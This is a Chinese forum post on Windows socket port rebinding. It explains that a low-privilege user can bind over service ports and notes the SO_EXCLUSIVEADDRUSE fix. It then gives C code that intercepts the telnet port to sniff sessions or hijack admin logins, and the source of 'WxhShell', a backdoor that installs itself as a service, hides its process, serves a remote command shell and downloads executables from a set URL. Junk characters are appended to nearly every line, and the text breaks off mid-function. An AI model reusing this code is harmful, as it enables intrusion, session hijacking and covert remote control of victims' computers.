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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lMpjE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u=a5Z4N'  
(Uo:WyVj|F  
  saddr.sin_family = AF_INET; g3B zi6$m  
&,?bX])  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); f{ZOH<"Lo  
4;G:.k!K  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :?1r.n  
J*)Vpk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /I[?TsXp  
g\sW2qXEw  
  这意味着什么?意味着可以进行如下的攻击: |&JCf =  
88fH !6b  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Az +}[t  
INca  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;6op|O  
7^Y"K  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3+6s}u)  
pk&kJ307  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  A?l.(qG C_  
_g+^jR4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 KA)9&6  
, sEu[m  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 j$%KKl8j  
:f^ =~#!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Wn*>h'R  
C'bW3la  
  #include N?!]^jI,  
  #include V!!E)I  
  #include [%U(l<  
  #include    y,$kU1yH7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   yya"*]*S  
  int main() 0(A(Vb5J.T  
  { J7q]|9Hus|  
  WORD wVersionRequested; g'G"`)~ 2  
  DWORD ret; |Sg FHuA  
  WSADATA wsaData; Nh7D&#z  
  BOOL val; Kk?P89=*  
  SOCKADDR_IN saddr; wLeP;u1  
  SOCKADDR_IN scaddr; ?yKW^,q+  
  int err; o!TG8aeb  
  SOCKET s; ]MjQr0&M  
  SOCKET sc; ve|:z  
  int caddsize; G(7!3a+  
  HANDLE mt; ;>?NH6B,  
  DWORD tid;   c}9.Or`?  
  wVersionRequested = MAKEWORD( 2, 2 ); ZJev_mj  
  err = WSAStartup( wVersionRequested, &wsaData ); n[#!Q`D  
  if ( err != 0 ) { &Q7vY  
  printf("error!WSAStartup failed!\n"); 9I0}:J;7  
  return -1; f?O?2g  
  } Wi3:;`>G<p  
  saddr.sin_family = AF_INET; _~m@ SI  
   <dxc"A  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <uXZ*E  
(ly4[G1y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t!MGSB~  
  saddr.sin_port = htons(23); Gni<@;}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ii"h:GY;\  
  { /Jz?~H{%n  
  printf("error!socket failed!\n"); Yj+p^@{S2P  
  return -1; 5[Sa7Mk  
  } -nP y?>p"|  
  val = TRUE; g9 .b6}w!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  5VWyc9Q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) qKX3Npw  
  { +{ Q]$b  
  printf("error!setsockopt failed!\n"); '8+<^%c  
  return -1; 2l5>>yY  
  } };5d>#NK,Y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v8Ga@*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 LadE4:oy  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 sTx23RJ9  
%3B0s?,I  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p^u;]~J O  
  { $)w9EGZ  
  ret=GetLastError(); @J"Gn-f~  
  printf("error!bind failed!\n"); ~(Wq 5<v  
  return -1; ,,_$r7H`  
  } j9FG)0  
  listen(s,2); k+ Shhe1  
  while(1) ygiZ~v4P/  
  { 8G&'ED_&  
  caddsize = sizeof(scaddr); V\U,PNkZQ  
  //接受连接请求 C"`,?K(U  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _.b^4^[  
  if(sc!=INVALID_SOCKET) *&7F(  
  { T0=8 U; =  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !Zf< j  
  if(mt==NULL) m0*bz5  
  { HV_5 +  
  printf("Thread Creat Failed!\n"); (^x ,  
  break; =1qM`M   
  } OjVI4@E;Xe  
  } h B@M5Mc$  
  CloseHandle(mt); b#ih= qE  
  } $\:;N]Cs~0  
  closesocket(s); BhJag L ^o  
  WSACleanup(); zQpF, N<b  
  return 0; C t-^-XD  
  }   *^|.bBG  
  DWORD WINAPI ClientThread(LPVOID lpParam) AmSrc.  
  { ^*!Tq&Dst|  
  SOCKET ss = (SOCKET)lpParam; {<f |h)r  
  SOCKET sc; Yz6+ x]  
  unsigned char buf[4096]; W|NT*g{;M  
  SOCKADDR_IN saddr; IrIF 853g  
  long num; %d3KE|&u  
  DWORD val; 14U:.Q  
  DWORD ret; P*9vs%W  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Jat|n97$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   'Ipp1a Z_M  
  saddr.sin_family = AF_INET; UBj"m<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^5{M@o  
  saddr.sin_port = htons(23); =t,}I\_^c  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C"X; ,F<  
  { Cp[{| U-?G  
  printf("error!socket failed!\n"); xA?(n!{P  
  return -1; /j}"4_. 8  
  } >ZX&2 {  
  val = 100; 2h:*lV^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WoYXXYP/E  
  { >)V1aLu=  
  ret = GetLastError(); aJAQ G  
  return -1; QC/%|M0 {  
  } > St]MS  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \piHdVD  
  { ,\2w+L5TD  
  ret = GetLastError(); J 'qhY'te  
  return -1; o3=2`BvJ  
  } 1MVzu7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) B<et&r;  
  { tN-U,6c]  
  printf("error!socket connect failed!\n"); 7Pb: z4j  
  closesocket(sc); oQsls9t  
  closesocket(ss); ;|a,1#x  
  return -1; m+3U[KKvG  
  } zG"*B_l}+  
  while(1) e<.O'!=7Y  
  { vC j, aSW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 klUW_d-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ZSs)AB_Pe/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =zetZJg  
  num = recv(ss,buf,4096,0); j B.ZF7q  
  if(num>0) KMU2Po qD  
  send(sc,buf,num,0); liU/O:Ap  
  else if(num==0) M2{AaYgD  
  break; /kK%}L_D  
  num = recv(sc,buf,4096,0); n"Gow/-;  
  if(num>0) EKr#i}(x<  
  send(ss,buf,num,0); *'BA# /@  
  else if(num==0) }\-"L/D?+  
  break; Lt<KRs  
  } Y<h [5  
  closesocket(ss); dI$U{;t  
  closesocket(sc); z]\CI:  
  return 0 ; >sfH[b  
  } SniKC qmC]  
` 6'dhB  
_7k6hVQ  
========================================================== ]TTQ;F  
&OXnZT3P  
下边附上一个代码,,WXhSHELL >^U$2P  
p,cw- lN  
========================================================== Uiz#QGt  
VQMPs{tm  
#include "stdafx.h" '9w.~@7  
)ld !(d=  
#include <stdio.h> /8s+eHn&%  
#include <string.h> pT=YV k  
#include <windows.h> G\I DgPj`  
#include <winsock2.h> L'KgB=5K&i  
#include <winsvc.h> Cnv M>]  
#include <urlmon.h> bVbh| AA  
uy t'  
#pragma comment (lib, "Ws2_32.lib") /1!Wet}f  
#pragma comment (lib, "urlmon.lib") d9E'4Zm  
"=/YPw^0  
#define MAX_USER   100 // 最大客户端连接数 x9lG$0k:V  
#define BUF_SOCK   200 // sock buffer n}T;q1  
#define KEY_BUFF   255 // 输入 buffer =Eimbk  
3r]m8Hp  
#define REBOOT     0   // 重启 GK>.R<[  
#define SHUTDOWN   1   // 关机 iW\Q>~0#_  
kz UP   
#define DEF_PORT   5000 // 监听端口 K9@F1ccQ/  
]-7$wVQ<  
#define REG_LEN     16   // 注册表键长度 <"SOH; w  
#define SVC_LEN     80   // NT服务名长度 XoO#{7a  
Hyj<Fqr!.  
// 从dll定义API Vw P+tM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <,Z6=M`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "F.0(<4)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TSPFi0PP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lZI?k=rWv  
m%[Ul@!V  
// wxhshell配置信息 :I)WSXP9h  
struct WSCFG { jH4'jB  
  int ws_port;         // 监听端口 u5LrZt]k  
  char ws_passstr[REG_LEN]; // 口令 2X@| H  
  int ws_autoins;       // 安装标记, 1=yes 0=no hh$V[/iK  
  char ws_regname[REG_LEN]; // 注册表键名 GmJ4AYEP  
  char ws_svcname[REG_LEN]; // 服务名 Mjr19_.S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,Zs"r}G^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1lf 5xm.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V7pe|]%r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5VXI/Lw#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6y4&nTq[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %xH2jf  
<691pk X  
}; 7"iUyZ(  
ap7ZT7KW  
// default Wxhshell configuration ~53uUT|B  
struct WSCFG wscfg={DEF_PORT, SBNeN]  
    "xuhuanlingzhe", |d@%Vb_  
    1, .Zzx W  
    "Wxhshell", DviRD[+q"  
    "Wxhshell", GW[g!6 6^  
            "WxhShell Service", nB#m?hK  
    "Wrsky Windows CmdShell Service", pm.Zc'23  
    "Please Input Your Password: ", v_7?Zik8E  
  1, VPAi[<FzOG  
  "http://www.wrsky.com/wxhshell.exe", &YU; K&  
  "Wxhshell.exe" RF,[1O-\O  
    }; 9 K.B  
04u^Q  
// 消息定义模块 Rx}*I00  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oQ=v:P]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i 1{Lx)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2D"n#O`y  
char *msg_ws_ext="\n\rExit."; ZYi."^l  
char *msg_ws_end="\n\rQuit."; oXQzCjX_   
char *msg_ws_boot="\n\rReboot..."; M`~UH\  
char *msg_ws_poff="\n\rShutdown..."; [nx OGa2  
char *msg_ws_down="\n\rSave to "; 2Gw2k8g&  
f <,E  
char *msg_ws_err="\n\rErr!"; D (>,#F  
char *msg_ws_ok="\n\rOK!"; ?hXeZB+b4  
VN5UJ!$?J  
char ExeFile[MAX_PATH];  3 )bC,  
int nUser = 0; ^E)*i#."4  
HANDLE handles[MAX_USER]; Pa8E.<>  
int OsIsNt; $P{|^ou3a#  
7jZE(|G-  
SERVICE_STATUS       serviceStatus; mHiV};$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a (mgz&*  
2!7)7wlj0  
// 函数声明 X*Qtbm,  
int Install(void); W$I^Ej}>$  
int Uninstall(void); 9ozK}Cg4  
int DownloadFile(char *sURL, SOCKET wsh); 0G=bu5  
int Boot(int flag); y,.X5#rnX*  
void HideProc(void); n B5:X  
int GetOsVer(void); tJ_6dH8Y  
int Wxhshell(SOCKET wsl); '1jG?D  
void TalkWithClient(void *cs); R?/!7  
int CmdShell(SOCKET sock); Q7~9~  
int StartFromService(void); Ci}v+  
int StartWxhshell(LPSTR lpCmdLine); 1;U `e4"  
&J <km  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T[z}^"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5Dhpcgq<<  
dv_& ei  
// 数据结构和表定义 "\n,vNk  
SERVICE_TABLE_ENTRY DispatchTable[] = 1&Fty'p  
{ ?tf/#5t}  
{wscfg.ws_svcname, NTServiceMain}, :FUefW m  
{NULL, NULL} FLqF!N\G  
}; sp/l-a  
V[w Y;wj  
// 自我安装 IQ5H`o?[B  
int Install(void) T~238C{vh  
{ N`G* h^YQ  
  char svExeFile[MAX_PATH]; &yQilyU{V  
  HKEY key; _D{V(c<WD  
  strcpy(svExeFile,ExeFile); T;4& ^5 n  
tU5Z?QS  
// 如果是win9x系统,修改注册表设为自启动 7M|!N_ $  
if(!OsIsNt) { ({R-JkW: ;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t,YnweH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |#&{`3$CG[  
  RegCloseKey(key); )r9l T*z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d>RoH]K4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C9,|G7~*q  
  RegCloseKey(key); MM+xm{4l  
  return 0; 61XLL/=P  
    } X\z `S##kj  
  } .tg2HKD_lW  
} JTw< 4]  
else { 0`LR!X  
\z~wm&  
// 如果是NT以上系统,安装为系统服务 n]15 ~GO.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZQ%4]=w  
if (schSCManager!=0) ?yfw3s  
{ <l:c O$ m  
  SC_HANDLE schService = CreateService 17\5 NgB  
  ( :RxWHh3O  
  schSCManager, lj U|9|v  
  wscfg.ws_svcname, /M0A9ZT[  
  wscfg.ws_svcdisp, PNSV?RT*pG  
  SERVICE_ALL_ACCESS, $$,/F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3:S>MFRn.3  
  SERVICE_AUTO_START, P,QI-,  
  SERVICE_ERROR_NORMAL, csEF^T-  
  svExeFile, pX\Y:hCug  
  NULL, 8zOoVO  
  NULL, >Q`\|m}x)Q  
  NULL, cE|Z=}4I7  
  NULL, jMpV c E#  
  NULL U= Gw(  
  ); _3pME9l  
  if (schService!=0) bm</qF'T6  
  { 7,.3'cCL^  
  CloseServiceHandle(schService); }.L\O]~{  
  CloseServiceHandle(schSCManager); hHu?%f*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  .# Jusd  
  strcat(svExeFile,wscfg.ws_svcname); &&Uc%vIN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RTL A*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Xf"B\%,(`  
  RegCloseKey(key); M<%g)jn_  
  return 0; :c_>(~  
    } A#&,S4Wi|  
  } )6t=Bel  
  CloseServiceHandle(schSCManager); " iz'x-wy  
} Cuk!I$  
} ?k}"g$JFn  
g5\EVcHkz  
return 1; qgk-[zW#  
} =B/Ac0Y  
ri]"a?Rm  
// 自我卸载 HRG2sv T4t  
int Uninstall(void) dw"Tv ~  
{ kw M1f=!-  
  HKEY key; A_ftf 7,  
w.:fl4V  
if(!OsIsNt) { ##+f/Fxym  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -Y{=bZS u  
  RegDeleteValue(key,wscfg.ws_regname); Q!T+Jc9N  
  RegCloseKey(key); /Tc I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -!ARVf *  
  RegDeleteValue(key,wscfg.ws_regname); KiaQ^[/q  
  RegCloseKey(key); 5LF#w_x  
  return 0; ?kF_C,k/>N  
  } hb,G'IU  
} Mqk[+n  
} c:@lR/oe"  
else { s4&JBm(33N  
1p DL()t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v!~ ;Q O  
if (schSCManager!=0) mjI $z3  
{ U7(t >/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mT3'kUZ}]  
  if (schService!=0) z+=wql*Eo  
  { 6z-&Zu7@  
  if(DeleteService(schService)!=0) { KJLC2,  
  CloseServiceHandle(schService); xV}ybRKV  
  CloseServiceHandle(schSCManager); q ?qpUPzD  
  return 0; }23#z  
  } 50?5xSEM0_  
  CloseServiceHandle(schService); DEFh&n  
  } m|%L[h1  
  CloseServiceHandle(schSCManager); ?!{nNJ  
} Di^7@}kQS  
} P*kKeMl  
]CnqPLqL  
return 1; pn._u`xMV  
} Fb^Ae6/i  
X^% E"{!nU  
// 从指定url下载文件 $&@etsW0/  
int DownloadFile(char *sURL, SOCKET wsh) Bt?.8H6Y  
{ JKMcdD?'  
  HRESULT hr; vrr` ^UB2  
char seps[]= "/"; 7Gs0DwV  
char *token; h{BO\^6x  
char *file; NA<6s]Cs.  
char myURL[MAX_PATH]; c9<&+  
char myFILE[MAX_PATH]; uA1DTr?z  
!vQDPLBL  
strcpy(myURL,sURL); l4LowV7  
  token=strtok(myURL,seps); =I6u*$9<  
  while(token!=NULL) M9J^;3Lrh  
  { ja Ot"iU.B  
    file=token; q*36/I  
  token=strtok(NULL,seps); 6j{O/  
  } |TE\]  
Q&;d7A.@  
GetCurrentDirectory(MAX_PATH,myFILE); ud @7%%  
strcat(myFILE, "\\"); /U1 jCLR'  
strcat(myFILE, file); 45DR%cz  
  send(wsh,myFILE,strlen(myFILE),0); uV'w0`$y  
send(wsh,"...",3,0); YYiT,Xp<A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %x5zs ]4^  
  if(hr==S_OK) Ts~)0  
return 0; rQ!X  
else F87aIJ.pGN  
return 1; (qky&}H  
(9X>E+0E  
} &8^1:CcE  
OlJkyL8|  
// 系统电源模块 (q|EC;   
int Boot(int flag) ?{bAyh/  
{ oO 8opS7F  
  HANDLE hToken; W2CQk  
  TOKEN_PRIVILEGES tkp; `Y5{opG7-  
4qc 0QA%  
  if(OsIsNt) { /cN. -lEo%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mn;Wqb/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?7:?OX  
    tkp.PrivilegeCount = 1; ly)b=ph&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +#/`4EnI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,svj(HP$  
if(flag==REBOOT) { nG dEJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 01-n_ $b  
  return 0; g^qbd$}  
} yN Bb(!u  
else { UFED*al#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R>YDn|cWI  
  return 0; KJf~9w9U  
} >10pk  
  } :le"FFfk  
  else { PilV5Gg  
if(flag==REBOOT) { !83N. gN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Owa]ax5  
  return 0; M-B-  
} D}| 30s?u1  
else { LE" t'R   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w?+v+k\  
  return 0; t#p*{S 3u  
} J6) &b7  
} hSvA dT]m  
%ys-y?r  
return 1; H(1( H0Kj"  
} ``:AF:  
%Ny`d49&  
// win9x进程隐藏模块 \*_@`1m  
void HideProc(void) XgfaTX*  
{ FZEK-]h.  
3>`CZ]ip}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wM^_pah#Y5  
  if ( hKernel != NULL ) kUdl2["MZ  
  { !"dbK'jb^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {\?zqIM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Pw"o[8  
    FreeLibrary(hKernel); eqyZ|6  
  } 4RH'GnLa  
B~_='0Gm[  
return; w :w  
} .=VtMi$n  
Ua@rp3fr  
// 获取操作系统版本 t ._PS3  
int GetOsVer(void) h9McC3  
{ z_dorDF8`>  
  OSVERSIONINFO winfo; lD8&*5tDmP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uh~/ybR  
  GetVersionEx(&winfo); *|f&a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ERW>G {+  
  return 1; UH<nc;.B  
  else ;BEg"cm  
  return 0; w>IYrSaa>  
} b[^=GF>e  
H:X=v+W  
// 客户端句柄模块 U8Pnt|0M  
int Wxhshell(SOCKET wsl) <"uT=]wZ=  
{ l_lm)'ag  
  SOCKET wsh; DRo@gYDn  
  struct sockaddr_in client; 8+&] q#W3  
  DWORD myID; |5wuYG  
\8uPHf_  
  while(nUser<MAX_USER) p%A(5DE  
{ JM#jg-z,~  
  int nSize=sizeof(client); IED7v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :\@WY  
  if(wsh==INVALID_SOCKET) return 1; w#Y<~W&  
O[3AI^2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AW8"@  
if(handles[nUser]==0) s D] W/  
  closesocket(wsh); rsP3?.E  
else uf* sI  
  nUser++; [_jTy;E  
  } TqNEU<S/t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yA%(!v5UT  
EO'[AU%~  
  return 0; vgzNT4o  
} [=Wn7cr  
p6(n\egR  
// 关闭 socket %Ke:%##Y  
void CloseIt(SOCKET wsh) ]@op  
{ {m9OgR5U  
closesocket(wsh); l1~>{:mq  
nUser--; DJeP]  
ExitThread(0); "k\W2,q[  
} b1>%%#  
R|h9ilc  
// 客户端请求句柄 vBd^=O  
void TalkWithClient(void *cs) >?yaG=  
{ 2RKI M(~  
+nRO<  
  SOCKET wsh=(SOCKET)cs; FqiC zP4  
  char pwd[SVC_LEN]; $%VFk53I  
  char cmd[KEY_BUFF]; h2+vl@X  
char chr[1]; ;$(a+?  
int i,j; tv)x(MX  
MP?9k)f  
  while (nUser < MAX_USER) { %;9f$:U  
^r^c MksB*  
if(wscfg.ws_passstr) { +Ij>\;vM"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .l5y !?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;}3wT,=sN  
  //ZeroMemory(pwd,KEY_BUFF); 0X#tt`;  
      i=0; a3 wUB  
  while(i<SVC_LEN) { Y_S^B)y  
d c_^   
  // 设置超时 R{kZKD=  
  fd_set FdRead; |UM':Ec  
  struct timeval TimeOut; L #p-AK  
  FD_ZERO(&FdRead); ]*U\ gm%  
  FD_SET(wsh,&FdRead); 4(2}O-~  
  TimeOut.tv_sec=8; @DfjeS)u^  
  TimeOut.tv_usec=0; aDR<5_Yb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &fq-U5zH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n NZq`M  
p0? X R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !NK8_p|X  
  pwd=chr[0]; ,ju1:`  
  if(chr[0]==0xd || chr[0]==0xa) { pq+Gsu1^  
  pwd=0; 3D +>NB  
  break; q .nsGbl  
  } c, \TL ]  
  i++; 0@{K'm /  
    } qS>P,>C  
`,Q uO  
  // 如果是非法用户,关闭 socket [oKc<o7)~"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aePhtQF  
} bV|:MW <Wv  
KWCA9.w4q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d"uR1 rTk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IfeG"ua|  
-7TT6+H)  
while(1) { / _-?NZ  
W@AZ<(RI:  
  ZeroMemory(cmd,KEY_BUFF); 1$?O5.X:  
j\f;zb?F  
      // 自动支持客户端 telnet标准   Fl]$ql   
  j=0; ik_Ll|  
  while(j<KEY_BUFF) { 6gY5v @!w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FgrOZI;_  
  cmd[j]=chr[0]; k4'rDJfB  
  if(chr[0]==0xa || chr[0]==0xd) { .1 .n{4z>:  
  cmd[j]=0; v$p<6^kJ  
  break; \gki!!HQ  
  } b)(#/}jMkD  
  j++; &Ph@uZ\  
    } fBS;~;l  
#JYv1F  
  // 下载文件 Ti#2D3  
  if(strstr(cmd,"http://")) { #q9jFW8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *J=`"^BO  
  if(DownloadFile(cmd,wsh)) {tk42}8k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r^n%PH <  
  else vi["G7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4 (& W>E  
  } 8k2prv^  
  else { A &~G  
AVGb;)x#  
    switch(cmd[0]) { !3v!BJ#+,&  
  Dh BUMDoB  
  // 帮助 tcSn`+Bu_`  
  case '?': { (\e,,C%;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gnlGL[r|  
    break; Pan^@B=Q  
  } 4M*UVdJ;  
  // 安装 /P<RYA~  
  case 'i': { ~#h@.yW^JN  
    if(Install()) z ,87;4-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xv]P-q0  
    else 15 x~[?!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #b4`Wcrj  
    break; J )oa:Q  
    } i d\0yRBt  
  // 卸载 iS&fp[Th  
  case 'r': { IfF<8~~E  
    if(Uninstall()) \vT0\1:|i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K%[Rv#>;q|  
    else Bbz#$M!:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z `T<g!Y  
    break; 1 ?]Gl+}  
    } <,(6*b  
  // 显示 wxhshell 所在路径 xop9*Z$  
  case 'p': { 282 m^ 2  
    char svExeFile[MAX_PATH]; ~QJD.'z  
    strcpy(svExeFile,"\n\r"); sl}bNzT#  
      strcat(svExeFile,ExeFile); /d%&s^M:  
        send(wsh,svExeFile,strlen(svExeFile),0); /FJAI  
    break; KRd.Ubs -  
    } W @Y$!V<  
  // 重启 $2A%y14  
  case 'b': { _ M8Q%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l]%_D*<Y  
    if(Boot(REBOOT)) G5|xWeNgA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;eI,1 [_  
    else { bLUn>ch  
    closesocket(wsh); ,DqI> vx|  
    ExitThread(0); AFGWlC#`  
    } _}:9ic]e  
    break; ,)hUL/r6  
    } ^*#5iT8/  
  // 关机 ,'v]U@WK  
  case 'd': { j +\I4oFN  
